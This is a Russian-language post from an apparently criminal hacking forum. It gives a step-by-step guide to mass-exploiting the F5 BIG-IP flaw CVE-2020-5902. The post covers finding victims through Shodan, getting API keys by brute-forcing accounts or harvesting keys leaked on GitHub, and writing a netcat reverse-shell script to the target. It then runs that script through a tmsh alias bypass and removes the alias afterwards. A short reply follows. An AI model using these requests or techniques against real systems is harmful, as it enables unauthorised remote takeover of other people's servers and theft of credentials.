• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Большие IP-адресса, F5 Big IP

0xUser

RAM
Пользователь
Регистрация
30.07.2021
Сообщения
104
Реакции
284
Гарант сделки
1
0xIntroduction
Я хотел бы рассказать о таком эксплоите как CVE-2020-5902, как вы могли понять это эксплоит с прошлого года. он предназначен под F5 Big IP. Начнем с гитхаба и закончим готовым шелом через netcat, все очень просто, будет рассказано практически на пальцах.

Итак начнем с того, что разберемся что же такое этот F5 Big IP, согласно википедии – «F5 Networks, Inc. — транснациональная корпорация, специализирующаяся на услугах, связанных с интернет-сайтами и приложениями. Решения F5 ориентированы на доставку, безопасность, производительность и доступность веб-приложений, в том числе доступность вычислительных ресурсов, хранилищ и сетевых ресурсов.», короче говоря, это очередной софт который упрощает жизнь разработчику, все это работает на основе операционной системы TMOS(я конечно понимаю, что вам, так же как и мне, это не особо интересно, что за софт и т.д. однако семь тысяч символов сами себя не напишут), но не стоит забывать что использование подобного софта может сделать вас потенциально уязвимым к атакам.

Как уже можно было понять у биг ипов не один продукт, эксплоит о котором я расскажу относится к модулю Local Traffic Manager (LTM), а в частности к Traffic Management User Interface (TMUI) или же к утилите настройки этого самого модуля, в качестве веб сервера используется TomCat. Данная уязвимость имеет рейтинг CVSSv3 10,0 – то есть максимально возможный балл.

Данной уязвимости подвержены следующие версии:
  • 15.0.0-15.1.0.3
  • 14.1.0-14.1.2.5
  • 13.1.0-13.1.3.3
  • 12.1.0-12.1.5.1
  • 11.6.1-11.6.5.1
1xTheory
Эта CVE включает в себя LFI и RCE, для получения шелла мы будем использовать обе эти очень привлекательные штучки, для начала мы создадим баш скрипт который будет запускать неткэт на тачке жертвы, а потом благодаря RCE мы запустим этот самый скрипт. Так же есть и другие способы получения шелла через LFI путем занесения кода в лог файлы и т.д., ну кто работал с LFI думаю знает, что тут нет ничего особо сложного, достаточно лишь немного порыться в интернете и вы уже будете готовы к атаке, однако сегодня мы пойдет по пути меньшего сопротивления и будем использовать все что нам так щедро предоставили.

Уязвимость эта таится в следующих ссылках:

https://hostname:port/tmui/login.js...ce/fileRead.jsp?fileName=Имя-файла-для-чтения Это у нас LFI для чтения файлов в системе

Для создания нашего скрипта мы воспользуемся немного другой ссылкой, а если быть конкретнее то вот этой:

https://hostname:port/tmui/login.js...p?fileName=/Путь/Имя-файла&content=содержимое-файла

https://hostname:port/tmui/login.js...ce/tmshCmd.jsp?command=Команда-для-выполнения А это уже непосредственно сам RCE

Очень важный момент, на этом этапе мы имеем пониженные права, например если мы попытаемся через LFI получить /etc/passwd, то все ок, мы получим то что нужно, однако если мы попытаемся получить /etc/shadow (файл в котором хранятся хеши паролей) то мы ничего не получим кроме ошибки permission denied, так же и RCE через tmshCmd мы имеем пониженные права пользователя и в случае попытки выполнения какой нибудь некрасивой команды мы получим ошибку Rejected Tmsh Command, связано это с дополнительной проверкой в которой раздрешены только следующие команды: create, list, delete, modify.
1628004443000.png


2xShodan&Github
Для атаки нам обязательно понадобится API ключ шодана, я достал его путем брута аккаунтов, вы же можете поискать его на гитхабе в конфиг файлах, бывает такое что разработчики всяких скриптов просто забывают выпилить свой апи ключ с проекта и прям так заливают репозиторий. Не уверен в том насколько это действенно, т.к. сам так не делал, однако видел как другие так добывают вкусную информацию, (статья на эту тему https://tgraph.io/GitHub-Nahodim-chto-ploho-lezhit-01-25). Ниже запросы для поиска на гитхабе, только не забудьте переключиться с поиска репозиториев, на поиск в коде:
1628004478683.png

shodan_api_key language:python
shodan_api_key language:
shellshodan_api_key language:json
shodan_api_key language:ruby

И так, допустим вы достали API ключ шодана, что же делать дальше, а дальше нам нужен скрипт с гитхаба который будет автоматически парсить айпишники с шодана и сканить их на нашу уязвимость, обязательно должен быть установлен петухон. Ссылка на репозиторий: https://github.com/aqhmal/CVE-2020-5902-Scanner

git clone https://github.com/aqhmal/CVE-2020-5902-Scanner.git
cd CVE-2020-5902-Scanner/
pip3 install -r requirements.txt

Далее нам нужно немного изменить настройки в сканере

# Shodan API Key (change according to your Shodan API key)
api_key = ''
# Shodan search query
search_query = 'http.title:"BIG-IP®- Redirect"'

Указываем api кей в соответствующем месте и также можем изменить сам поисковой запрос, как вариант можно написать http.favicon.hash:-335242539 "3992" или title:"BIG-IP®". Далее просто сидим и смотрим как отрабатывает скрипт.
1628004676320.png

Если вы увидите такую картину, то это значит что тачка уязвима, ну я думаю вы сами это уже поняли, гуды дропнутся в файл result.txt рядом со скриптом.

Переходим по следующему пути https://hostname:port/tmui/login.jsp

Если перед нами предстанет панель для входа, то мы делаем все правильно
1628004753630.png


3xPractice
Теперь думаю стоит поговорить о том, где же все-таки зарыта собака на этом кладбище. На гитхабе есть куча PoC для этого эксплоита на любой вкус и цвет, мы можем скачать и заюзать один из них, или вручную отправить запрос т.к. тут идет просто веб запрос, без каких-либо выкрутасов. Вот парочка репозиториев для эксплуатации:

https://github.com/dunderhay/CVE-2020-5902

https://github.com/itsjeffersonli/CVE-2020-5902

https://github.com/yassineaboukir/CVE-2020-5902

https://github.com/yasserjanah/CVE-2020-5902

Поскольку я не очень дружу с линуксом, а основная OC у меня это винда, то неткат я буду ставить именно на винду. Думаю будет не лишним сказать пару слов о нашем Швейцарском армейском ноже. Кота я скачал по первой же попавшейся ссылке в гугле, после чего распаковал весь архив в удобную для меня папку, мой дефендер молниеносно схавал его, пришлось добавить кота в исключения

Так же хотел бы напомнить, что у вас обязательно должен быть открытый порт для того, что бы кошка работала как надо, у меня это не 4444, как обычно у всех, а 20000. Собственно переходим в папку с кошкой и запускаем ее командой:
  • nc.exe -lvp 20000
1628004795106.png

Вот мы и пришли к развязке всего того, что делали выше. Пришло время коннектиться к нашей цели.

Первым делом мы загружаем скрипт который будет запускать кота на уязвимой тачке

https://hostname:port/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/nc.sh&content=nc+”IP тачки где висит наш netcat”+”Тут указываем наш порт 20000”+-e+/bin/sh

Проверяем загрузился ли скрипт

https://hostname:port/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/nc.sh

Если все верно, то вы должны получить в ответ примерно такую картину
1628004832023.png

Теперь запускать? Нет! Не так быстро, сначало меняем альясы. Если с предыдущим было все понятно, то думаю стоит рассмотреть что здесь у нас происходит. При выполнении tmshCmd у нас доступно лишь несколько команд, а именно create, delete, list и modify. Альясы это своего рода псевдонимы для команд и прописывая альяс мы как бы переназначаем команду так что бы она проходила проверку, то есть после следующей команды когда мы будем вводить list, будет выполняться bash.

https://hostname:port/tmui/login.js...nd=create+cli+alias+private+list+command+bash

В ответ мы должны получить {"error":"","output":""} если так то все верно

Вот теперь можем и запускать

https://hostname:port/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/nc.sh

После того как получили шелл, нужно обязательно удалить назначенные альясы, для этого вводим следующую команду.

https://hostname:port/tmui/login.js...Cmd.jsp?command=delete+cli+alias+private+list

4xConclusion
Так же хотелось бы подчеркнуть, что этот эксплоит не стабилен и у вас может не получиться с первого раза. Данный эксплоит есть и в метасплоите (“use exploit/linux/http/f5_bigip_tmui_rce”) можете просто указать там адресс цели и в атаку, он делает аналогичные действия тем, что мы провернули ручками. Все верно, всю статью можно было просто свести к одному-двум абзацам с ссылками, однако тут немного другой формат. Вот мы и рассмотрели один из самых громких эксплоитов за недавнее время.
 
Последнее редактирование:
that scanner its not giving any results, but i've found other maybe those could help

 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх